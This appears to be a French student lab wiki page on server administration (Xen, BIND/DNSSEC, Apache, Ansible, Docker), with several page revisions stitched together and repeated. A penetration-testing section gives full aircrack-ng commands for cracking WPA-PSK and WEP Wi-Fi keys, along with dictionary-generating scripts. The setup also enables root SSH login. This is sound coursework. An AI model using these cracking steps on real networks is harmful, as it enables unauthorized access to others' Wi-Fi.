- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T15:00:41Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T13:54:47Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
